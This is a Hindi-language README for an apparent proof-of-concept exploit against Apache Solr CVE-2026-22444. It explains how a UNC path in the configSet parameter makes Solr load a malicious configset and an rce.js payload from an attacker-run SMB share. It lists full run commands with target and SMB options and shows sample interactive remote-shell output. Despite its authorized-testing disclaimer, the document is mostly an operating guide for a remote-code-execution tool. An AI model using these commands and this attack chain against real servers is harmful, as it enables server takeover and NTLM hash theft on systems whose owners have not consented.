
Apache Solr CVE-2026-22444 के लिए एक्सप्लॉइट, जो UNC पाथ इंजेक्शन और SMB सर्वर का उपयोग करके दुर्भावनापूर्ण कॉन्फिगसेट और JavaScript पेलोड के माध्यम से रिमोट कोड एक्ज़ीक्यूशन प्राप्त करता है।
Apache Solr UNC पथ सत्यापन भेद्यता
CVE-2026-22444 एक सुरक्षा भेद्यता है जो Apache Solr को प्रभावित करती है, जिसे लगभग 20 जनवरी 2026 को सार्वजनिक रूप से प्रकट किया गया था। यह भेद्यता Apache Solr के "create core" API में कुछ API मापदंडों पर अपर्याप्त इनपुट सत्यापन (CWE-20: Improper Input Validation) के कारण उत्पन्न होती है, जो हमलावर को Solr के "standalone" मोड में चलने पर सुरक्षा नियमों को बायपास करने की अनुमति देती है, जिससे डेटा रिसाव, रिमोट कोड निष्पादन (RCE) या NTLM हैश प्रकटीकरण हो सकता है।
विशेष रूप से, यदि Solr में प्रमाणीकरण सक्षम नहीं है या उपयोगकर्ता के पास कोर बनाने की अनुमति है, तो हमलावर सावधानीपूर्वक निर्मित अनुरोध के माध्यम से इस API का दुरुपयोग करके संरक्षित फ़ाइलों तक पहुंच सकता है या दुर्भावनापूर्ण कार्य कर सकता है।
यह भेद्यता 2025 में खोजी गई और Apache को रिपोर्ट की गई, और oss-security मेलिंग सूची पर सार्वजनिक रूप से प्रकट की गई:
आधिकारिक घोषणा: https://www.openwall.com/lists/oss-security/2026/01/20/5
यह भेद्यता CoreContainer.java में मौजूद है, जहां CoreDescriptor कंस्ट्रक्टर UNC पथ सत्यापन निष्पादित करने से पहले नेटवर्क संचालन ट्रिगर करता है:
instancePath.toAbsolutePath() नेटवर्क के माध्यम से UNC पथ को हल कर सकता हैFiles.exists() जांच नेटवर्क कॉल निष्पादित करती हैFiles.newInputStream() नेटवर्क रीड निष्पादित करता हैassertPathAllowed() के माध्यम से पथ सत्यापन केवल इन संचालनों के बाद होता हैexploit.py - अवधारणा प्रमाण शोषण स्क्रिप्टfiles/ - शोषण के लिए आवश्यक सहायक फ़ाइलें (configset)
rce.js - रिमोट कोड निष्पादन JavaScript payloadconf/ - Solr कॉन्फ़िगरेशन फ़ाइलें
solrconfig.xml - दुर्भावनापूर्ण अपडेट प्रोसेसर श्रृंखला परिभाषित करता हैschema.xml - Solr schema परिभाषाmanaged-schema - प्रबंधित schema फ़ाइलrequirements.txt - Python निर्भरताएंpip install -r requirements.txt
निर्भरताओं में शामिल हैं:
requests>=2.25.0 - HTTP अनुरोधों के लिएimpacket>=0.10.0 - SMB सर्वर बनाने के लिएpython3 exploit.py <लक्ष्य IP>
उदाहरण:
python3 exploit.py 192.168.1.100
python3 exploit.py <लक्ष्य IP> --port <पोर्ट>
उदाहरण:
python3 exploit.py 192.168.1.100 --port 8983
python3 exploit.py <लक्ष्य IP> --smb-host <SMB सर्वर IP> --smb-port <SMB पोर्ट>
उदाहरण:
python3 exploit.py 192.168.1.100 --smb-host 192.168.1.50 --smb-port 445
python3 exploit.py <लक्ष्य IP> --share-name <शेयर नाम>
उदाहरण:
python3 exploit.py 192.168.1.100 --share-name myshare
स्थितीय तर्क:
target_host लक्ष्य Solr सर्वर IP पता
वैकल्पिक तर्क:
-h, --help सहायता जानकारी दिखाएं और बाहर निकलें
--port, -p PORT Solr सर्वर पोर्ट (डिफ़ॉल्ट: 8983)
--smb-host SMB_HOST SMB सर्वर IP (डिफ़ॉल्ट: स्वचालित रूप से स्थानीय IP पहचानें)
--smb-port SMB_PORT SMB सर्वर पोर्ट (डिफ़ॉल्ट: 445)
--share-name SHARE SMB शेयर नाम (डिफ़ॉल्ट: malicious)
files निर्देशिका साझा करेगीसफल शोषण के बाद, स्क्रिप्ट एक इंटरैक्टिव शेल प्रदान करेगी:
solr> whoami
[+] exit_code: 0, status: success
--- stdout ---
desktop-abc123\user
solr> dir
[+] exit_code: 0, status: success
--- stdout ---
Volume in drive C has no label.
...
solr> exit
[*] exiting shell...
समर्थित कमांड:
exit या quit - इंटरैक्टिव शेल से बाहर निकलेंCtrl+C - बाधित करें और बाहर निकलेंयह भेद्यता निम्नलिखित तकनीकी श्रृंखला का उपयोग करती है:
configSet पैरामीटर के माध्यम से UNC पथ इंजेक्ट करें (उदाहरण: //attacker-ip/share)StatelessScriptUpdateProcessorFactory का उपयोग करके JavaScript कोड निष्पादित करेंpython3 exploit.py 192.168.35.31 \
--port 8983 \
--smb-host 192.168.35.50 \
--smb-port 445 \
--share-name exploit
CVE-2026-22444/
├── exploit.py # मुख्य शोषण स्क्रिप्ट
├── requirements.txt # Python निर्भरताएं
├── files/ # दुर्भावनापूर्ण configset
│ ├── rce.js # RCE JavaScript payload
│ └── conf/ # Solr कॉन्फ़िगरेशन निर्देशिका
│ ├── solrconfig.xml # दुर्भावनापूर्ण अपडेट प्रोसेसर कॉन्फ़िगर करता है
│ ├── schema.xml # Schema परिभाषा
│ └── managed-schema # प्रबंधित schema
└── README.md # यह फ़ाइल
rce.js: यह मुख्य RCE payload है, जो:
cmd पैरामीटर प्राप्त करता हैsolrconfig.xml: Solr को दुर्भावनापूर्ण अपडेट प्रोसेसर श्रृंखला का उपयोग करने के लिए कॉन्फ़िगर करता है:
rce-chain अपडेट प्रोसेसर श्रृंखला परिभाषित करता हैrce.js स्क्रिप्ट को संदर्भित करता है/update अनुरोध प्रोसेसर को इस श्रृंखला का उपयोग करने के लिए सेट करता है⚠️ चेतावनी: यह उपकरण केवल अधिकृत सुरक्षा परीक्षण और शैक्षिक उद्देश्यों के लिए है। इस उपकरण का उपयोग करके प्रणालियों पर अनधिकृत हमला करना अवैध है।
यह परियोजना MIT लाइसेंस का पालन करती है। विवरण के लिए LICENSE फ़ाइल देखें।
यह उपकरण और जानकारी केवल सुरक्षा अनुसंधान और शैक्षिक उद्देश्यों के लिए है। लेखक इस जानकारी या उपकरण के दुरुपयोग से होने वाली किसी भी क्षति के लिए जिम्मेदार नहीं है। उपयोगकर्ताओं को सभी लागू कानूनों और विनियमों का पालन करना चाहिए और उपयोग से पहले उचित प्राधिकरण प्राप्त करना चाहिए।